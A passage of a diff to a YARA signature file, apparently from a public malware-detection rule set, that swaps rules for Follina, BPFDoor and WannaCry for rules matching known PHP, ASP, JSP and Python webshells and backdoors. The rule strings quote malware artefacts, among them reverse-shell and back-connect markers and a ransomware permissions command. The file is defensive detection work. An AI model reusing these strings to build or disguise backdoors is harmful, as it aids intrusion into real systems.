+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8b0e6779f25a17f0ffb3df14122ba594"
+		logic_hash = "bdd2db4c032b25faaaf3a3a8e769000013f643ecfcb8b0374165a244ad2162a6"
+		score = 75
 		quality = 85
-		tags = "CVE-2022-30190, FILE"
+		tags = ""
 
 	strings:
-		$sa1 = "PFJlbGF0aW9uc2hpcH" ascii
-		$sa2 = "xSZWxhdGlvbnNoaXBz" ascii
-		$sa3 = "8UmVsYXRpb25zaGlwc" ascii
-		$sb1 = "VGFyZ2V0TW9kZT0iRXh0ZXJuYWwi" ascii
-		$sb2 = "RhcmdldE1vZGU9IkV4dGVybmFsI" ascii
-		$sb3 = "UYXJnZXRNb2RlPSJFeHRlcm5hbC" ascii
-		$sc1 = "Lmh0bWwhI" ascii
-		$sc2 = "5odG1sIS" ascii
-		$sc3 = "uaHRtbCEi" ascii
+		$s0 = "// backdoor.jsp"
+		$s1 = "JSP Backdoor Reverse Shell"
+		$s2 = "http://michaeldaw.org"
 
 	condition:
-		filesize <400KB and 1 of ($sa*) and 1 of ($sb*) and 1 of ($sc*)
+		2 of them
 }
-rule SIGNATURE_BASE_SUSP_Msdt_Artefact_Jun22_2 : CVE_2022_30190 FILE
+rule SIGNATURE_BASE_Tool_Asp
 {
 	meta:
-		description = "Detects suspicious pattern in msdt diagnostics log (e.g. CVE-2022-30190 / Follina exploitation)"
-		author = "Christian Burkard"
-		id = "aa2a4bd7-2094-5652-a088-f58d0c7d3f62"
-		date = "2022-06-01"
-		modified = "2022-07-29"
-		reference = "https://twitter.com/nas_bench/status/1531718490494844928"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_doc_follina.yar#L218-L237"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e18f6405f0411128335336e65dda4ed2b6be6e9ad47b94646ececf0479fbe967"
+		description = "Semi-Auto-generated  - file Tool.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "e5e727bd-836b-5540-8755-40f37904bc03"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3765-L3778"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "8febea6ca6051ae5e2ad4c78f4b9c1f2"
+		logic_hash = "d6bd782302b2c614fc572babb3825c0e1fcd0de5841ca8541ca27580ccc274d4"
 		score = 75
 		quality = 85
-		tags = "CVE-2022-30190, FILE"
+		tags = ""
 
 	strings:
-		$a1 = "<ScriptError><Data id=\"ScriptName\" name=\"Script\">TS_ProgramCompatibilityWizard.ps1" ascii
-		$x1 = "/../../" ascii
-		$x2 = "$(Invoke-Expression" ascii
-		$x3 = "$(IEX(" ascii nocase
+		$s0 = "mailto:rhfactor@antisocial.com"
+		$s2 = "?raiz=root"
+		$s3 = "DIGO CORROMPIDO<BR>CORRUPT CODE"
+		$s4 = "key = \"5DCADAC1902E59F7273E1902E5AD8414B1902E5ABF3E661902E5B554FC41902E53205CA0"
 
 	condition:
-		uint32(0)==0x6D783F3C and $a1 and 1 of ($x*)
+		2 of them
 }
-rule SIGNATURE_BASE_SUSP_LNK_Follina_Jun22 : CVE_2022_30190 FILE
+rule SIGNATURE_BASE_NT_Addy_Asp
 {
 	meta:
-		description = "Detects LNK files with suspicious Follina/CVE-2022-30190 strings"
-		author = "Paul Hager"
-		id = "d331d584-2ab3-5275-b435-6129c7291417"
-		date = "2022-06-02"
+		description = "Semi-Auto-generated  - file NT Addy.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "18f5f360-8690-5e09-ac18-b8cc4f678811"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/gossithedog/status/1531650897905950727"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_doc_follina.yar#L239-L257"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0b63bb266b968987b2b5a83c9429e96acbd57e12178e4f5fd5894b23d1aaa237"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3779-L3791"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2e0d1bae844c9a8e6e351297d77a1fec"
+		logic_hash = "0fc61d5e276786b8be822712cdcfc81146998e535532e44d3da92e0668713a48"
 		score = 75
 		quality = 85
-		tags = "CVE-2022-30190, FILE"
+		tags = ""
 
 	strings:
-		$sa1 = "msdt.exe" ascii wide
-		$sa2 = "msdt " ascii wide
-		$sa3 = "ms-msdt:" ascii wide
-		$sb = "IT_BrowseForFile=" ascii wide
+		$s0 = "NTDaddy v1.9 by obzerve of fux0r inc"
+		$s2 = "<ERROR: THIS IS NOT A TEXT FILE>"
+		$s4 = "RAW D.O.S. COMMAND INTERFACE"
 
 	condition:
-		filesize <5KB and uint16(0)==0x004c and uint32(4)==0x00021401 and 1 of ($sa*) and $sb
+		1 of them
 }
-rule SIGNATURE_BASE_MAL_LNX_Redmenshen_Bpfdoor_May23_1 : FILE
+rule SIGNATURE_BASE_Simattacker___Vrsion_1_0_0___Priv8_4_My_Friend_Php
 {
 	meta:
-		description = "Detects BPFDoor malware"
-		author = "Florian Roth"
-		id = "25df4dba-ec6e-5999-b6be-56fe933cb0d0"
-		date = "2023-05-11"
+		description = "Semi-Auto-generated  - file SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "8a34f4fd-337d-5eb4-b7b7-4adb1c2b7937"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_lnx_implant_may22.yar#L3-L42"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c58971a43443800256e791b4f9fe7c3221518b0050e5f2964b6c843ddb4549ac"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3792-L3804"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "089ff24d978aeff2b4b2869f0c7d38a3"
+		logic_hash = "46bc4063d06b4af3e4e61e1e998d489e974e76f17363c9777b8afc39ff21f698"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "afa8a32ec29a31f152ba20a30eb483520fe50f2dce6c9aa9135d88f7c9c511d7"
+		tags = ""
 
 	strings:
-		$x1 = "[-] Execute command failed" ascii fullword
-		$x2 = "/var/run/initd.lock" ascii fullword
-		$xc1 = { 2F 00 3E 3E 00 65 78 69 74 00 72 00 }
-		$sc1 = { 9F CD 30 44 }
-		$sc2 = { 66 27 14 5E }
-		$sa1 = "TLS-CHACHA20-POLY1305-SHA256" ascii fullword
-		$sop1 = { 48 83 c0 01 4c 39 f8 75 ea 4c 89 7c 24 68 48 69 c3 d0 00 00 00 48 8b 5c 24 50 48 8b 54 24 78 48 c7 44 24 38 00 00 00 00 }
-		$sop2 = { 48 89 de f3 a5 89 03 8b 44 24 2c 39 44 24 28 44 89 4b 04 48 89 53 10 0f 95 c0 }
-		$sop3 = { 49 d3 cd 4d 31 cd b1 29 49 89 e9 49 d3 c8 4d 31 c5 4c 03 68 10 48 89 f9 }
+		$s0 = "SimAttacker - Vrsion : 1.0.0 - priv8 4 My friend"
+		$s3 = " fputs ($fp ,\"\\n*********************************************\\nWelcome T0 Sim"
+		$s4 = "echo \"<a target='_blank' href='?id=fm&fedit=$dir$file'><span style='text-decora"
 
 	condition:
-		uint16(0)==0x457f and filesize <900KB and ((1 of ($x*) and 1 of ($s*)) or 4 of them or ( all of ($sc*) and $sc1 in (@sc2[1]-50..@sc2[1]+50))) or (2 of ($x*) or 5 of them )
+		1 of them
 }
-rule SIGNATURE_BASE_APT_MAL_LNX_Redmenshen_Bpfdoor_Controller_May22_1 : FILE
+rule SIGNATURE_BASE_Remexp_Asp
 {
 	meta:
-		description = "Detects unknown Linux implants (uploads from KR and MO)"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1438c3bf-3c42-59d5-9f3f-2d72bdaaac42"
-		date = "2022-05-05"
+		description = "Semi-Auto-generated  - file RemExp.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "900036ce-ff13-5441-bb77-906ea08a4ca0"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_lnx_implant_may22.yar#L45-L76"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8de10beea4ef2e059b16d38fb015d6f091cc517b6f0c06b6ef6868518349994d"
-		score = 90
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3805-L3817"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "aa1d8491f4e2894dbdb91eec1abc2244"
+		logic_hash = "c7da9908a0252e95b47dbc8fbb36aeac1661dc464123aaca036bd51047a31584"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d"
-		hash2 = "4c5cf8f977fc7c368a8e095700a44be36c8332462c0b1e41bff03238b2bf2a2d"
-		hash3 = "599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683"
-		hash4 = "5b2a079690efb5f4e0944353dd883303ffd6bab4aad1f0c88b49a76ddcb28ee9"
-		hash5 = "5faab159397964e630c4156f8852bcc6ee46df1cdd8be2a8d3f3d8e5980f3bb3"
-		hash6 = "93f4262fce8c6b4f8e239c35a0679fbbbb722141b95a5f2af53a2bcafe4edd1c"
-		hash7 = "97a546c7d08ad34dfab74c9c8a96986c54768c592a8dae521ddcf612a84fb8cc"
-		hash8 = "c796fc66b655f6107eacbe78a37f0e8a2926f01fecebd9e68a66f0e261f91276"
-		hash9 = "f8a5e735d6e79eb587954a371515a82a15883cf2eda9d7ddb8938b86e714ea27"
-		hash10 = "fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a"
+		tags = ""
 
 	strings:
-		$s1 = "[-] Connect failed." ascii fullword
-		$s2 = "export MYSQL_HISTFILE=" ascii fullword
-		$s3 = "udpcmd" ascii fullword
-		$s4 = "getshell" ascii fullword
-		$op1 = { e8 ?? ff ff ff 80 45 ee 01 0f b6 45 ee 3b 45 d4 7c 04 c6 45 ee 00 80 45 ff 01 80 7d ff 00 }
-		$op2 = { 55 48 89 e5 48 83 ec 30 89 7d ec 48 89 75 e0 89 55 dc 83 7d dc 00 75 0? }
-		$op3 = { e8 a? fe ff ff 0f b6 45 f6 48 03 45 e8 0f b6 10 0f b6 45 f7 48 03 45 e8 0f b6 00 8d 04 02 }
-		$op4 = { c6 80 01 01 00 00 00 48 8b 45 c8 0f b6 90 01 01 00 00 48 8b 45 c8 88 90 00 01 00 00 c6 45 ef 00 0f b6 45 ef 88 45 ee }
+		$s0 = "<title>Remote Explorer</title>"
+		$s3 = " FSO.CopyFile Request.QueryString(\"FolderPath\") & Request.QueryString(\"CopyFi"
+		$s4 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f"
 
 	condition:
-		uint16(0)==0x457f and filesize <80KB and 2 of them or 5 of them
+		2 of them
 }
-rule SIGNATURE_BASE_APT_MAL_LNX_Redmenshen_Bpfdoor_Controller_May22_2 : FILE
+rule SIGNATURE_BASE_Phvayvv_Php_Php
 {
 	meta:
-		description = "Detects BPFDoor implants used by Chinese actor Red Menshen"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d5c3d530-ed6f-563e-a3b0-55d4c82e4899"
-		date = "2022-05-07"
+		description = "Semi-Auto-generated  - file phvayvv.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "76351a59-8f52-5110-a9b8-36edd59026df"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_lnx_implant_may22.yar#L78-L100"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7525c675dbba6eb480f1d28fc6db05bd9907725c291e64ee6dc2453fd42892a0"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3818-L3830"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "35fb37f3c806718545d97c6559abd262"
+		logic_hash = "503a69a7e2c30cc82eba430082627bb93c459a95f675b968126bf4524c598863"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925"
-		hash2 = "96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9"
-		hash3 = "c80bd1c4a796b4d3944a097e96f384c85687daeedcdcf05cc885c8c9b279b09c"
-		hash4 = "f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72"
+		tags = ""
 
 	strings:
-		$opx1 = { 48 83 c0 0c 48 8b 95 e8 fe ff ff 48 83 c2 0c 8b 0a 8b 55 f0 01 ca 89 10 c9 }
-		$opx2 = { 48 01 45 e0 83 45 f4 01 8b 45 f4 3b 45 dc 7c cd c7 45 f4 00 00 00 00 eb 2? 48 8b 05 ?? ?? 20 00 }
-		$op1 = { 48 8d 14 c5 00 00 00 00 48 8b 45 d0 48 01 d0 48 8b 00 48 89 c7 e8 ?? ?? ff ff 48 83 c0 01 48 01 45 e0 }
-		$op2 = { 89 c2 8b 85 fc fe ff ff 01 c2 8b 45 f4 01 d0 2d 7b cf 10 2b 89 45 f4 c1 4d f4 10 }
-		$op3 = { e8 ?? d? ff ff 8b 45 f0 eb 12 8b 85 3c ff ff ff 89 c7 e8 ?? d? ff ff b8 ff ff ff ff c9 }
+		$s0 = "{mkdir(\"$dizin/$duzenx2\",777)"
+		$s1 = "$baglan=fopen($duzkaydet,'w');"
+		$s2 = "PHVayv 1.0"
 
 	condition:
-		uint16(0)==0x457f and filesize <100KB and 2 of ($opx*) or 4 of them
+		1 of them
 }
-rule SIGNATURE_BASE_APT_MAL_LNX_Redmenshen_Bpfdoor_Controller_May22_3 : FILE
+rule SIGNATURE_BASE_Klasvayv_Asp
 {
 	meta:
-		description = "Detects BPFDoor implants used by Chinese actor Red Menshen"
-		author = "Florian Roth (Nextron Systems)"
-		id = "91c2153a-a6e0-529e-852c-61f799838798"
-		date = "2022-05-08"
+		description = "Semi-Auto-generated  - file klasvayv.asp.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "3ca4c20c-f879-55a0-9070-d40fc903f9ae"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_lnx_implant_may22.yar#L102-L119"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "afec0bfeddf5c5c2abc1a3173f636c385437e5d7c0b68665f6274011113a6a9c"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3831-L3844"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2b3e64bf8462fc3d008a3d1012da64ef"
+		logic_hash = "eb1b11e02b075a4e7d28b77cf91ad596a85e4c697a36304ee177d46735965e75"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "144526d30ae747982079d5d340d1ff116a7963aba2e3ed589e7ebc297ba0c1b3"
-		hash2 = "fa0defdabd9fd43fe2ef1ec33574ea1af1290bd3d763fdb2bed443f2bd996d73"
+		tags = ""
 
 	strings:
-		$s1 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event" ascii fullword
-		$s2 = "/sbin/mingetty /dev" ascii fullword
-		$s3 = "pickup -l -t fifo -u" ascii fullword
+		$s1 = "set aktifklas=request.querystring(\"aktifklas\")"
+		$s2 = "action=\"klasvayv.asp?klasorac=1&aktifklas=<%=aktifklas%>&klas=<%=aktifklas%>"
+		$s3 = "<font color=\"#858585\">www.aventgrup.net"
+		$s4 = "style=\"BACKGROUND-COLOR: #95B4CC; BORDER-BOTTOM: #000000 1px inset; BORDER-LEFT"
 
 	condition:
-		uint16(0)==0x457f and filesize <200KB and 2 of them or all of them
+		1 of them
 }
-rule SIGNATURE_BASE_APT_MAL_LNX_Redmenshen_Bpfdoor_Controller_Generic_May22_1 : FILE
+rule SIGNATURE_BASE_R57Shell_Php_Php
 {
 	meta:
-		description = "Detects BPFDoor malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d30df2ae-7008-53c0-9a61-8346a9c9f465"
-		date = "2022-05-09"
+		description = "Semi-Auto-generated  - file r57shell.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "1f1070e8-e82c-5cae-a64a-cd5028adae97"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_lnx_implant_may22.yar#L121-L156"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "57ae5f7dc1d202fe66d6626ef2bf2278b92bec0310449ce049bdaeaec5657c77"
-		score = 90
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3845-L3858"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d28445de424594a5f14d0fe2a7c4e94f"
+		logic_hash = "658eec4f3c463ec1a480bcb7ba995b8d81d1fb846832e569751d9f505f0fa87e"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d"
-		hash2 = "1925e3cd8a1b0bba0d297830636cdb9ebf002698c8fa71e0063581204f4e8345"
-		hash3 = "4c5cf8f977fc7c368a8e095700a44be36c8332462c0b1e41bff03238b2bf2a2d"
-		hash4 = "591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78"
-		hash5 = "599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683"
-		hash6 = "5b2a079690efb5f4e0944353dd883303ffd6bab4aad1f0c88b49a76ddcb28ee9"
-		hash7 = "5faab159397964e630c4156f8852bcc6ee46df1cdd8be2a8d3f3d8e5980f3bb3"
-		hash8 = "76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925"
-		hash9 = "93f4262fce8c6b4f8e239c35a0679fbbbb722141b95a5f2af53a2bcafe4edd1c"
-		hash10 = "96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9"
-		hash11 = "97a546c7d08ad34dfab74c9c8a96986c54768c592a8dae521ddcf612a84fb8cc"
-		hash12 = "c796fc66b655f6107eacbe78a37f0e8a2926f01fecebd9e68a66f0e261f91276"
-		hash13 = "c80bd1c4a796b4d3944a097e96f384c85687daeedcdcf05cc885c8c9b279b09c"
-		hash14 = "f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72"
-		hash15 = "f8a5e735d6e79eb587954a371515a82a15883cf2eda9d7ddb8938b86e714ea27"
-		hash16 = "fa0defdabd9fd43fe2ef1ec33574ea1af1290bd3d763fdb2bed443f2bd996d73"
-		hash17 = "fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a"
+		tags = ""
 
 	strings:
-		$op1 = { c6 80 01 01 00 00 00 48 8b 45 ?8 0f b6 90 01 01 00 00 48 8b 45 ?8 88 90 00 01 00 00 c6 45 ?? 00 0f b6 45 ?? 88 45 }
-		$op2 = { 48 89 55 c8 48 8b 45 c8 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? 48 8b 45 c8 0f b6 80 01 01 00 00 }
-		$op3 = { 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? 48 8b 45 c8 0f b6 80 01 01 00 00 88 45 f? c7 45 f8 00 00 00 00 }
-		$op4 = { 48 89 7d d8 89 75 d4 48 89 55 c8 48 8b 45 c8 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? }
-		$op5 = { 48 8b 45 ?8 c6 80 01 01 00 00 00 48 8b 45 ?8 0f b6 90 01 01 00 00 48 8b 45 ?8 88 90 00 01 00 00 c6 45 ?? 00 0f b6 45 }
-		$op6 = { 89 75 d4 48 89 55 c8 48 8b 45 c8 48 89 45 ?? 48 8b 45 c8 0f b6 80 00 01 00 00 88 45 f? 48 8b 45 c8 }
+		$s1 = " else if ($HTTP_POST_VARS['with'] == \"lynx\") { $HTTP_POST_VARS['cmd']= \"lynx "
+		$s2 = "RusH security team"
+		$s3 = "'ru_text12' => 'back-connect"
+		$s4 = "<title>r57shell</title>"
 
 	condition:
-		uint16(0)==0x457f and filesize <200KB and 2 of them or 4 of them
+		1 of them
 }
-rule SIGNATURE_BASE_Wannacry_Ransomware : FILE
+rule SIGNATURE_BASE_Rst_Sql_Php_Php
 {
 	meta:
-		description = "Detects WannaCry Ransomware"
-		author = "Florian Roth (Nextron Systems) (with the help of binar.ly)"
-		id = "2e46b4db-8c94-53ed-ae27-31dd37b04940"
-		date = "2017-05-12"
+		description = "Semi-Auto-generated  - file rst_sql.php.php.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "41730336-0dce-5ed9-95b0-c911a4e3cb48"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/HG2j5T"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_wannacry.yar#L12-L46"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a652444d7946dbbc4fae76cd01f2e20993999fd1e6fc48a9ac0da57aab87a2da"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3859-L3872"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0961641a4ab2b8cb4d2beca593a92010"
+		logic_hash = "d15cf69d9ad8683d2ac1ff09b08b0b26ecaf35df8e45bbd5c3a02c393f88cb34"
 		score = 75
-		quality = 83
-		tags = "FILE"
-		hash1 = "ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa"
+		quality = 85
+		tags = ""
 
 	strings:
-		$x1 = "icacls . /grant Everyone:F /T /C /Q" fullword ascii
-		$x2 = "taskdl.exe" fullword ascii
-		$x3 = "tasksche.exe" fullword ascii
-		$x4 = "Global\\MsWinZonesCacheCounterMutexA" fullword ascii
-		$x5 = "WNcry@2ol7" fullword ascii
-		$x6 = "www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com" ascii
-		$x7 = "mssecsvc.exe" fullword ascii
-		$x8 = "C:\\%s\\qeriuwjhrf" fullword ascii
-		$x9 = "icacls . /grant Everyone:F /T /C /Q" fullword ascii
-		$s1 = "C:\\%s\\%s" fullword ascii
-		$s2 = "<!-- Windows 10 --> " fullword ascii
-		$s3 = "cmd.exe /c \"%s\"" fullword ascii
-		$s4 = "msg/m_portuguese.wnry" fullword ascii
-		$s5 = "\\\\192.168.56.20\\IPC$" fullword wide
-		$s6 = "\\\\172.16.99.5\\IPC$" fullword wide
-		$op1 = { 10 ac 72 0d 3d ff ff 1f ac 77 06 b8 01 00 00 00 }
-		$op2 = { 44 24 64 8a c6 44 24 65 0e c6 44 24 66 80 c6 44 }
-		$op3 = { 18 df 6c 24 14 dc 64 24 2c dc 6c 24 5c dc 15 88 }
-		$op4 = { 09 ff 76 30 50 ff 56 2c 59 59 47 3b 7e 0c 7c }
-		$op5 = { c1 ea 1d c1 ee 1e 83 e2 01 83 e6 01 8d 14 56 }
-		$op6 = { 8d 48 ff f7 d1 8d 44 10 ff 23 f1 23 c1 }
+		$s0 = "C:\\tmp\\dump_"
+		$s1 = "RST MySQL"
+		$s2 = "http://rst.void.ru"
+		$s3 = "$st_form_bg='R0lGODlhCQAJAIAAAOfo6u7w8yH5BAAAAAAALAAAAAAJAAkAAAIPjAOnuJfNHJh0qtfw0lcVADs=';"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <10000KB and (1 of ($x*) and 1 of ($s*) or 3 of ($op*))
+		2 of them
 }
-rule SIGNATURE_BASE_Wannacry_Ransomware_Gen : FILE
+rule SIGNATURE_BASE_Wh_Bindshell_Py
 {
 	meta:
-		description = "Detects WannaCry Ransomware"
-		author = "Florian Roth (Nextron Systems) (based on rule by US CERT)"
-		id = "d28d3d76-9c24-5476-9a0c-936c17477d6a"
-		date = "2017-05-12"
+		description = "Semi-Auto-generated  - file wh_bindshell.py.txt"
+		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
+		id = "b7acbfe7-fd28-5832-9af2-1c5befe4bbab"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-132A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_wannacry.yar#L48-L66"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8f81c918dc1e2c8ef2e334ae504f88b10aef9e54a64486061d45296d2d738aab"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L3873-L3885"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "fab20902862736e24aaae275af5e049c"
+		logic_hash = "e38a4f5c23371705f9bbf2db8e65d68074554edc1022576166e76d40e06bc039"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05"
-		hash2 = "8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df"
-		hash3 = "4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359"
+		tags = ""
 
 	strings:
-		$s1 = "__TREEID__PLACEHOLDER__" ascii
-		$s2 = "__USERID__PLACEHOLDER__" ascii
-		$s3 = "Windows for Workgroups 3.1a" fullword ascii
-		$s4 = "PC NETWORK PROGRAM 1.0" fullword ascii
-		$s5 = "LANMAN1.0" fullword ascii
+		$s0 = "#Use: python wh_bindshell.py [port] [password]"
+		$s2 = "python -c\"import md5;x=md5.new('you_password');print x.hexdigest()\"" fullword
